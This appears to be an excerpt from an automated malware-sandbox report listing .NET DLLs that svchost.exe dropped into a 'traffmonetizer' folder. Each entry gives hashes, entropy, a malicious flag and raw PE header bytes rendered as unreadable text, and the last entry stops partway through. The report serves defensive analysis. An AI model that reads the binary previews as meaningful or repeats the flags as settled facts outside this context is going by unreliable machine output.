Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@.................................D(..O....@...................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................x(......H.......P ..<....................&......................................BSJB............v4.0.30319......l...\|...#~......0...#Strings............#US.........#GUID...,.......#Blob......................3......................................z...............\.....0..... .....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.Unsafe.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16768
Entropy (8bit):	6.378509219645678
Encrypted:	false
SSDEEP:	192:erLXx0hyLsbb3rxVj7WU2WLTYoW4GD5dHnhWgN7acWlbAkWD7DiqnajKs3WoHpZ:Ih06sbbVVPWU2WPY7dHRN77RGlGs3jJZ
MD5:	9A341540899DCC5630886F2D921BE78F
SHA1:	BAB44612721C3DC91AC3D9DFCA7C961A3A511508
SHA-256:	3CADCB6B8A7335141C7C357A1D77AF1FF49B59B872DF494F5025580191D1C0D5
SHA-512:	066984C83DE975DF03EEE1C2B5150C6B9B2E852D9CAF90CFD956E9F0F7BD5A956B96EA961B26F7CD14C089BC8A27F868B225167020C5EB6318F66E58113EFA37
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._...........!.................3... ...@....@.. ..............................t@....@.................................@3..K....@...................#...`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................p3......H........$..0...................P ......................................._.%c......=.n')...(v..:}.d...3...B...).. .:Q(....L.jt....}Xv.b7y0r.[..$.....q..c.6.....p..2..qHv/.pb.=..9.o"z.. 0P.t%H....U...0...........q......0..............q.......0..............q.......0..................0......................0......................0............q.............0............q.............0..............0..............0..................0..................0..............

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.VisualC.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21784
Entropy (8bit):	6.872325269765102
Encrypted:	false
SSDEEP:	384:vna8WK1W6QBm0GftpBjBxRaQHRN73clxBGD:vna0+VinL36M
MD5:	9F31B6954FD453F13B5F39DA36F2E8EB
SHA1:	7A6276348D85EAF00AE6958117797045929078CB
SHA-256:	18A610B8BAD43CF784CDE4D4902A238F2281C2A677DAAE790CAB55F6DA915979
SHA-512:	D3696D4D60CFC5AA5834F60A0B97A4F3A3F8EC3FB05BEB3C3D927426B72B3E5463C628C7DF950E43FF1344823B8C2D39730BA47BA0F2FEC7A0CFCDC237A5BCC6
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............j... ...@....... ...............................R....@....................................O....@...................?...`.......(............................................... ............... ..H............text...p.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................L*......H.......P ......................`(......................................BSJB............v4.0.30319......l...@...#~......0...#Strings............#US.........#GUID....... ...#Blob......................3................................................w.................!...........<.....Y.............................................................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.)...C.D...K.d...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Extensions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21720
Entropy (8bit):	6.851248273705748
Encrypted:	false
SSDEEP:	384:2BSWITW5+109m0GftpBj4+19aQHRN76hlO62gHcXAJ:26oVi6+19L64g8QJ
MD5:	B0346A4C5FA0FAC135509A0E7D3C4449
SHA1:	7D71B46BB9A28289384AA1EDF5CB03D64B3BCFF0
SHA-256:	F9FEB277F86241F55425182A26DECF50A210675D4F040EC542AF3FB3DD287DE6
SHA-512:	916A465236F11FF6E421800961B20CB80A320176DA8C58002F6742040CE33C5207D378667A584C5D8E35CF8CFC19AC54504B3F6129E489EEABD86A5B4E7D8C77
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0................. ...@....... ...............................Y....@..................................)..O....@.. ................>...`.......(............................................... ............... ..H............text...$.... ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.......................H.......P .......................(......................................BSJB............v4.0.30319......l...@...#~..........#Strings............#US.........#GUID...........#Blob......................3..................................................\|.....\|...S.i.........g.................f...........5.....~...........P.....9...................c.....c.....c...).c...1.c...9.c...A.c...I.c...Q.c...Y.c...a.c...i.c...q.c.......................#.....+.....3.....;.....C.6...K.V...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Handles.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.924980445039345
Encrypted:	false
SSDEEP:	384:t88cIIWNoWRQBm0GftpBjsP9SaQHRN7f7l78oSwDnuC6:t9cUoViM9SLftaw4
MD5:	65FBBA7A86B3E175200AE44727AB40E5
SHA1:	584B8683943A8E0AE98B10F452C94F6109D1C4EA
SHA-256:	7A81D2A001B543B2A55C9AFFC845A5DF7EDAB1FD308C6979BBD982B1B826B57C
SHA-512:	43607AEBBB0A3F2D437C7DE77785CD6C9F49411E1D4EFE41ECCD93D7FCCA197DABD4E15F45FBC4FBFF27C202FEC96B79F82202AFC88B59C20ED5E7912BCDC6D3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............V)... ...@....... ...............................d....@..................................)..O....@...................>...`.......'............................................... ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................8)......H.......P ......................L'......................................BSJB............v4.0.30319......l.......#~.. .......#Strings............#US.........#GUID...........#Blob......................3..........................................................c.....J.....w.................v.....,.....E.................`.....I...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.RuntimeInformation.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28624
Entropy (8bit):	6.704228860468442
Encrypted:	false
SSDEEP:	384:skUwx9rm5go1fWKmmW4oqN5dWjaWp1m0GftpBjaIrc1aQHRN7SlDggz1:brmoFmWXXXVioVL8Lz1
MD5:	05AF54A1C6450B98AD0FB0E857B6A523
SHA1:	15349E541122743A5D355946E48380AC1811B52F
SHA-256:	76432F414458E93B54CEB02FC348E652A84744108102F3A83792D8A804040EB8
SHA-512:	C763FE0E16079E431CFA13C63706B58637E3BB6E395F3C874F7EC8B1D5D5C16849D30A088E69E4BA798AFAAF7066763DAFFFF6A2880FB6C8AB838D9D721F000D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..&...........E... ...`....... ...............................9....@.................................PE..O....`..x............0...?...........D............................................... ............... ..H............text....%... ...&.................. ..`.rsrc...x....`.......(..............@..@.reloc..............................@..B.................E......H........$...............A.......C......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2r/..p.(..........(....2(.....(....^~....-.(.........~.....0..........~..........(.........(....-Y..(!....{/......5..,

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24296
Entropy (8bit):	6.780229572480669
Encrypted:	false
SSDEEP:	384:N09bOAghbsDCyVnVc3p/i2fBVlAO/BRU+psbC984vmJHrE1dtx66aI2sU52RWVsX:MOAghbsDCyVnVc3p/i2fBVlAO/BRU+pJ
MD5:	D7E74EA95786A02687CE43C356ABDC95
SHA1:	2E6A3047BD3BCEE01F55D139A3C03E6D4D2DB14A
SHA-256:	383A1F9DAC655C6805C24D4A03BC5FBEB9ABD1536DE5510F5756259EEFCB4871
SHA-512:	B7E76B65406904F092FE96DED558A94EA53FA40BEC500EFCDCDEBF124921F4526DE2F239CD25BAE1801692DD6DFE5652FFD46B2AA4325133C7127D27F626BB9B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............r5... ...@....... ...............................k....@................................. 5..O....@..P............ ...>...`.......3............................................... ............... ..H............text...x.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B................T5......H.......P ......................h3......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3................................r.....................e...........4.................3.....L...................................R...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Numerics.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.898006718463938
Encrypted:	false
SSDEEP:	384:27W6RWDvT1Dm0GftpBjhvPaQHRN7VwXldBoQAYd:25K1DViXHLVyoJYd
MD5:	6CCCA0BA6A7B9CAF8B8D3B0287DBED8B
SHA1:	B81FF87B407578EFBF184BDC10D0F101610379DB
SHA-256:	16E7EFD6C19B2E3E516AE1BC7B3175D0E22F1AD357701F229E353DA348EEE182
SHA-512:	8505479031A0A5CAEEEE1A8A60AA35D7E0C332BBFDDE61193B615E242C127780E55F404289F26930E9EC9E53FCCF436B1A991BA2C8A9177163B41AAAF6BE0D32
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ....................................@.................................T(..O....@...................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l.......#~......4...#Strings....(.......#US.,.......#GUID...<.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Formatters.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21264
Entropy (8bit):	6.950539566613158
Encrypted:	false
SSDEEP:	384:uI5HeWFwTBsWbvT1Dm0GftpBjW0hZraQHRN7ZflZ3j:uI5HFwTB91DVism5LZzz
MD5:	A42C32F4E98A9656FC2FED72D30E9380
SHA1:	B6B8986FC1B5140817DE262AE4102499E37DAFFD
SHA-256:	C343F7BF08A4C97A90BA607A492C721533333173FA63F65F6E5DE9CEEE65FC16
SHA-512:	5C2DE8F18CB9B367D7DE88A2AF8A7FD538486B9FFB393972FBDFF42CD2899D6679FD8D7076FE37954D5E8EAB6C5041F19EDAD32659C5CCEEC1C2BA35E6F8982A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@.................................\|)..O....@...................?...`......D(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P ..t....................'......................................BSJB............v4.0.30319......l.......#~..H.......#Strings....@.......#US.D.......#GUID...T... ...#Blob......................3............................................................U.x...........................~.....4.....M.................h.....$...................r.....r.....r...).r...1.r...9.r...A.r...I.r...Q.r...Y.r...a.r...i.r...q.r.......................#.....+.....3.....;.)...C.D...K.d...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Json.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21240
Entropy (8bit):	6.93694523950017
Encrypted:	false
SSDEEP:	384:YAJpVWbfkBnWyC7Bm0GftpBjV1raQHRN7RyV0lTZVkvq:YAJpWfkBSVi31LRyAZVZ
MD5:	E1E2239979B853157BA75310FEA7E65D
SHA1:	EE1AE416570911282ABDD3745674E58F9D469C9E
SHA-256:	E8D531F0AAA674F794B7F43EC76E4E32AD93F3C136020CF4B6E3433832F9C0DF
SHA-512:	DDF9D6E05D9566C9E02295A061756FF164C408EA211D016023EDBFA91BBA4D0D7DFF293D2BF4D87C25FE923500C7535E4A21B6A8D4B18FD9505F8E5C635F9C95
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............>)... ...@....... ...............................#....@..................................(..O....@..`................>...`.......'............................................... ............... ..H............text...D.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................ )......H.......P ......................4'......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3......................................z...........@...\.@...0.-...`.....D.................C.................[.....x.....-.........................'.....'.....'...).'...1.'...9.'...A.'...I.'...Q.'...Y.'...a.'...i.'...q.'.......................#.....+.....3.....;.#...C.>...K.^...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	27048
Entropy (8bit):	6.661112158879877
Encrypted:	false
SSDEEP:	384:c8R71h7yzt94dHWFgQBVWeHWFyTBVW/4wm0GftpBj1AipaQHRN7E5AN/lD7DDN:d1dyAqgQBfqyTB+FVizAGLE5AXHDN
MD5:	3373A24450373CAF0CBB756E10097FD4
SHA1:	87C352153804FF5BD4F8AEF8851546F3CF22461E
SHA-256:	575E26A455892F1FD77B730E6928F70B760E76094AFE5BCB677D854DAF869AC5
SHA-512:	85E005B5BEB7C14BA34C62C38DA635962D1AA4740F91549B8659910EDD10F0FDE1734064B19567BF5BC63DBBBB62399F6CBE0AA323193DA599232DCE22B14A01
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............8... ...@....... ..............................Ag....@..................................8..O....@..8...............?...`.......7............................................... ............... ..H............text........ ...................... ..`.rsrc...8....@......................@..@.reloc.......`.......(..............@..B.................8......H.......\|!..l............1..p...X7......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(..........(......BSJB............v4.0.30319......l.......#~..h.......#Strings....\...4...#US.........#GUID...........#Blob...

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Xml.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24816
Entropy (8bit):	6.774158289322937
Encrypted:	false
SSDEEP:	768:EsPMQMI8COYyi4oBNw4tB8ngViK+QLc7LGS:vPMQMxCO4xJV86+GS
MD5:	9087373EEE85190DAF8915E614B1E4BD
SHA1:	F434AF8CE30EAF5511E28C0230211F0D8ED4A154
SHA-256:	557858E44A51A74646AD07A85CBA56AF1DA13AD26AC2F74EE5D8C3E8A171C221
SHA-512:	F728238FA567457D7977FEA667FCCB56C2EFE718A9A362E294934CC752E506E05C5D20C0BE2A309DE2A984DD60C3AE4EA03054185B96C9B5F5F5DE827AF9CEAF
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............3... ...@....... ..............................6~....@..................................3..O....@..............."...>...`.......2............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................3......H........!..0...................L2.......................................s......s......0...........o....u......,..o......0..%........s..........(....r...p.$o......o....:.(......}......{.....(....z.(....z6.{.....o....:.{......o.....(....z:.{......o.....(....z.(....z.BSJB............v4.0.30319......l.......#~.. .......#Strings....$...0...#US.T.......#GUID...d.......#Blob...........W..........3............................................................................

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	29360
Entropy (8bit):	6.504362287456874
Encrypted:	false
SSDEEP:	384:fbhigwLAuZtM66g/Id7WVXWbC7Bm0GftpBjyV8aQHRN7mT1lO62gHcX2:fbhzkKsrVi48Lpg8m
MD5:	0E35085C130D2D91E5241334BE7EF0DA
SHA1:	FD622ADE5CAE26353A22B6FA50A83669B72B6C41
SHA-256:	50AD612D4CF6113DE26B2870DA099C4817F59E64A2DA98F05803B4A2E2304919
SHA-512:	2498811F4AAC308CDC55C3406BEA4FEF5DC9E6F23559B09FB181F7447474EF586F00038282DDC39C241490B5DC2BCA7F41F19BD3E1BB00890DA29DF6489BB151
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0............"H... ...`....... ..............................7.....@..................................G..O....`...............4...>...........F............................................... ............... ..H............text...((... ..................... ..`.rsrc........`.......,..............@..@.reloc...............2..............@..B.................H......H.......P ...%...................F......................................BSJB............v4.0.30319......l.......#~..........#Strings.....#......#US..#......#GUID....#......#Blob......................3................................................_.........................8.....8....8.....8.....8.....8.....8.....8..........8.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.+...K.K...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Claims.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.921540746927502
Encrypted:	false
SSDEEP:	384:2UcX6W9aW2EC7Bm0GftpBj3ZYvSaQHRN7tMlgaGn7Vy:2UchixVi9LtQGJy
MD5:	99604779C668D9B8EF913854B9A24F9D
SHA1:	97B62A3DBE2465B4C995E082AD6FF183F6267F59
SHA-256:	8270D1248950EE8AEE5C2AC2E321DF07E65C7A94004AE03C857DEACD231A5542
SHA-512:	BE6DEE6E7030B400EAC68AC289EC9B74BFE0140EE59AF5E68BF43A63A821C6F6AD9CA03C501896A6C92464BF8116D7996FFE640AB51BD9FA96673D9794AC82CD
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............B)... ...@....... ....................................@..................................(..O....@...................>...`.......'............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$)......H.......P ......................8'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....(.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Algorithms.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	47016
Entropy (8bit):	6.126380612996906
Encrypted:	false
SSDEEP:	768:yoBj7kS+8mjvHTeaWKs0Sd4eeVngVixLVH:hPmb9WKs0Pee6VEVH
MD5:	E4A1681E09AEC6EFB00FB2A9355A1296
SHA1:	95699D187BF150D319CC64F90064301CAC57F338
SHA-256:	967DDDBFE7F1CEB933B5875D65C59CDB835BB063F287A361E8B35DD814A9B14D
SHA-512:	49299C773A4C7CCC235C54A91FD07A000CF547B3EE55272E2EE8B2AA40281DC0AF3C3B5A9EDF5CAEE4BEB3AD0DE5A0DEA07159ACEBA582911B78A6B85DB793B0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..h.............. ........... ..............................I.....@.................................u...O.......8............x...?........................................................... ............... ..H............text....f... ...h.................. ..`.rsrc...8............j..............@..@.reloc...............v..............@..B........................H.......P'..\8..........._...%..,.......................................j~....%-.&(F...s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2rI..p.(....2r...p.(....2r...p.(....2r...p.(....2r...p.(....2r9..p.(....2rm..p.(....2r...p.(....2r...p.(....*2r=..

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Csp.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21240
Entropy (8bit):	6.935501042478791
Encrypted:	false
SSDEEP:	384:pTI2pWPzW8vT1Dm0GftpBjFQaQHRN7vlgaGn7s:pE3L1DViEL3G4
MD5:	F554762FC38F81CB22D1DC8AB5CD40D5
SHA1:	A67FDACEB10E828805A9E24FE0C59E1D73D19A7C
SHA-256:	566775F5502C3C1FA70ACADE145293DF5D02C1A9F031820D429605E9B4584B44
SHA-512:	BD23571BF9D0FE62BBF5FDDCAFF6B8F383CCC728AFBCEEBCAD8404D68C02EA1F55D4A22306BFC86C30172E70C6CF5425F2FF8877AAA8758A51C48CF4303BD2AB
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............^)... ...@....... ....................................@..................................)..O....@..`................>...`.......'............................................... ............... ..H............text...d.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................@)......H.......P ......................T'......................................BSJB............v4.0.30319......l.......#~..,.......#Strings............#US.........#GUID...........#Blob......................3......................................z...........A...\.A...0.....a.....D.................C.................[.....x.....-.........................(.....(.....(...).(...1.(...9.(...A.(...I.(...Q.(...Y.(...a.(...i.(...q.(.......................#.....+.....3.....;."...C.=...K.]...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Encoding.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21256
Entropy (8bit):	6.945812678642078
Encrypted:	false
SSDEEP:	384:d1cezoy4W04WDvT1Dm0GftpBjEUvCMuaQHRN71xlZ3VRw:PBzoy+F1DVivQLjjw
MD5:	7AB10B31C5CE290672B319D403751E95
SHA1:	ED23E654968B3704A82F613B06BE5829E0CAAD70
SHA-256:	1F5C1ABE1B2720680170388569354D8CDA9D558B53AFF7CAF175CE0F7E3733E5
SHA-512:	65ED3AFF2424E7560FCC44380DC719BF200D444F9B06AF7F916D52152C330D55A7F4B96D0C1D2B291B07D82805C71DD9850F2F5F612F00ADFCA1CDF117C6B14A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............~)... ...@....... ....................................@.................................,)..O....@...................?...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................`)......H.......P ..$...................t'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID....... ...#Blob......................3..................................................f...o.f...C.S.........W.................V...........%.....n...........@.....)...................M.....M.....M...).M...1.M...9.M...A.M...I.M...Q.M...Y.M...a.M...i.M...q.M.......................#.....+.....3.....;.'...C.B...K.b...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21784
Entropy (8bit):	6.863777213641518
Encrypted:	false
SSDEEP:	384:jQH/JWKpWNvT1Dm0GftpBjjaQHRN7/lO62gHcXv:jQH/jw1DVilLeg8f
MD5:	A60084F9988C7907F7092C143C8D3818
SHA1:	A69238054BEE26063D32B85B797BC4E0C49F79D4
SHA-256:	B755D0B55A465D07C9DD3FC11822487D1E649B684AEF91A4CE9B935B416A01B9
SHA-512:	6147F18BD9C49727251CBEA7A3168E3B19F34056DE5A9898571ECDEC85D424627A72968072449C81F97F95330BAED7E2ED0F6FDBA7E2F79B59B9352AB11003CF
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0............."... ...@....... ....................................@..................................)..O....@...................?...`.......(............................................... ............... ..H............text...(.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......P .......................(......................................BSJB............v4.0.30319......l...$...#~..........#Strings............#US.........#GUID....... ...#Blob......................3............................................................o.s...........D.....D.....D.....D...8.D...Q.D.....D.....D...l.....U.D.................m.....m.....m...).m...1.m...9.m...A.m...I.m...Q.m...Y.m...a.m...i.m...q.m.......................#.....+.....3.....;.)...C.D...K.d...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.X509Certificates.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22832
Entropy (8bit):	6.823696761227228
Encrypted:	false
SSDEEP:	384:3TjbocNsWMhWqvT1Dm0GftpBjAB8O9aQHRN7FswlO62gHcXpe:fboYyf1DViyB8O9LFAg88
MD5:	06D000552ED6785988AE188FC35D1B86
SHA1:	B0A8868D459FE0AF34D16C263CFE0202C414DC53
SHA-256:	3C8630ACB43C12A6A317227FF2922056ECD991FE945464FDF7EA81F1293A479F
SHA-512:	F3E5E97AAF3D26EA62C64787198CCE6DF703EA3A4EBB389BEBC84B424C8129A0181142A4FA5D965CA3106758A047D0E1A723F181AD293FD389C4F1B8D290B5A5
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.................. ...@....... ..............................j.....@..................................-..O....@..................0?...`.......,............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......P .......................,......................................BSJB............v4.0.30319......l.......#~......\|...#Strings....x.......#US.\|.......#GUID.......(...#Blob......................3................................'.....).........u.................=......."...:."...W.".....".....".....".....".....".....[.....".................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;./...C.J...K.j...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Principal.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21208
Entropy (8bit):	6.913262967781329
Encrypted:	false
SSDEEP:	384:+SKiWIhWdC7Bm0GftpBjtQaQHRN76fl3uVogL:+SK8DVicL6wV7L
MD5:	6DCD91B6A029794728F4EDEB2BF2E42D
SHA1:	82BA1313448B431893C14D866F46D47B620514A9
SHA-256:	02416BC542BE82002B8B81ADBBBCDCC8D098104020D09B571DC674B5BC19A177
SHA-512:	2566F369EDEE9313E823AA2667CB95977F0DB57B4B47DA62F44850811F524D0598FDE6F5BB082BB3325789E4B256E970603B4297D3586F1C435498430723A38B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ...............................s....@.................................t(..O....@.. ................>...`......<'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P ..l....................&......................................BSJB............v4.0.30319......l.......#~......@...#Strings....D.......#US.H.......#GUID...X.......#Blob......................3......................................................\.....0.....'.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.SecureString.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22392
Entropy (8bit):	6.85070945929809
Encrypted:	false
SSDEEP:	384:n0KbZWApWmWTpWWFm0GftpBjNaTaQHRN7vnl4aRISeS:0KRybViaTLSAl
MD5:	4523F60270149BAD67F6AE63375D2CDB
SHA1:	FF6E6BCD83A11D40BF53DABD0480A67AECFDCF50
SHA-256:	18032D190D0D599823E59C8DD8B588909BEF8888B8BF304723A138B61F1B911F
